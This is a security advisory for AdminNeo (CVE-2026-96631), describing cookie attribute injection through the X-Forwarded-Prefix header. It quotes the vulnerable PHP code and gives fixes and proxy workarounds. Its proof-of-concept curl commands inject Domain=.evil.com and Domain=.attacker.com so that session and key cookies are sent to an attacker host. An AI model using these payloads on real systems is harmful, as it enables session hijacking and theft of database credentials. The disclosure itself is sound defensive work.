GitHub Advisoryadvisory · Packagist

GHSA-79wv-8rh2-9vp2 AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers

HIGH Published 2026-10-30 Modified 2026-10-30 Official page ↗
Aliases
CVE-2026-96631
Ecosystem
Packagist
Packages
adminneo-org/adminneo
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Weaknesses
CWE-113, CWE-20
Reviewed
2026-10-30

Affected packages

• Packagist adminneo-org/adminneo: >= 4.6.0, < 5.5.1 → fixed in 5.5.1

Description

Summary AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by AdminNeo. This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim's browser to send AdminNeo's `neo_sid` (session ID) and `neo_key` (database password encryption key) cookies to the attacker's server on subsequent requests. Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h Vulnerable Code Root cause 1 - Unsanitized header prepended to `REQUEST_URI` (`admin/include/bootstrap.inc.php`, lines 50–52): ```php if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) { $_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"]; } ``` The client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes). Root cause 2 - Manual `Set-Cookie `header construction without escaping (`admin/include/functions.inc.php`, lines 416–424): ```php function cookie(string $name, string $value, int $lifetime = 2592000): void { header("Set-Cookie: $name=" . rawurlencode($value) . ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "") . "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]) . (HTTPS ? "; secure" : "") . "; HttpOnly; SameSite=lax", false); } ``` The tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or escaped, any `;`-separated directives injected via `X-Forwarded-Prefix` become valid cookie attributes parsed by the browser. Root cause 3 - Session cookie also tainted (`admin/include/bootstrap.inc.php`, line 61): ```php session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true); ``` The PHP session cookie (`neo_sid`) path is similarly derived from the tainted `REQUEST_URI`, extending the same vulnerability to the session cookie set by PHP itself. Impact • Session hijacking: The `neo_sid` session cookie is sent to the attacker's domain, allowing full session takeover. • Credential theft: The `neo_key` cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials. • Session fixation: An attacker can inject arbitrary `Path`, `SameSite`, and `Secure` attributes, manipulating cookie behavior. • Wide applicability: The `X-Forwarded-Prefix` header was specifically added to support reverse proxy deployments (Traefik `PathPrefixStrip`, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for. Affected Cookies |Cookie|Content|Risk| |`neo_sid`|PHP session ID|Session hijacking| |`neo_key`|Encryption key for stored DB passwords|Credential theft| |`neo_settings`|User preferences|Low (information disclosure)| Proof of Concept ```shell Normal request with clean Set-Cookie headerss: curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie > Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax Malicious request — inject Domain=.evil.com: curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \ http://localhost:8080/adminneo/index.php | grep -i set-cookie > Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED Full attribute override - inject Domain + SameSite=None: curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \ http://localhost:8080/adminneo/index.php | grep -i set-cookie > Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ... ``` Recommended Fix 1. Sanitize `X-Forwarded-Prefix`: Strip or reject semicolons, newlines, and other HTTP header metacharacters from the `X-Forwarded-Prefix` value before using it. 2. Use `setcookie()` / `setrawcookie()`: Replace the manual `header("Set-Cookie: ...")` construction in `cookie()` with PHP's built-in `setcookie()` function, which properly escapes attribute values. 3. Validate `REQUEST_URI` before cookie use: After any prefix manipulation, strip characters that are invalid in a cookie `path` attribute (`;`, `,`, whitespace per RFC 6265). ```php // Example fix for bootstrap.inc.php: if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) { $prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]); $_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"]; } ``` Server Based Workaround Via Config Configure the reverse proxy to set `X-Forwarded-Prefix` to a static, trusted value rather than forwarding the client-supplied header: ```nginx nginx — secure configuration: fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo; # static value, not $http_x_forwarded_prefix ``` ```yaml Traefik, use middleware instead of client headers: middlewares: strip-prefix: stripPrefix: prefixes: • "/adminneo" ```

Related

Alias · not in database (1)

Weakness · CWE (2)

  • CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers weakness
  • CWE-20 Improper Input Validation weakness

References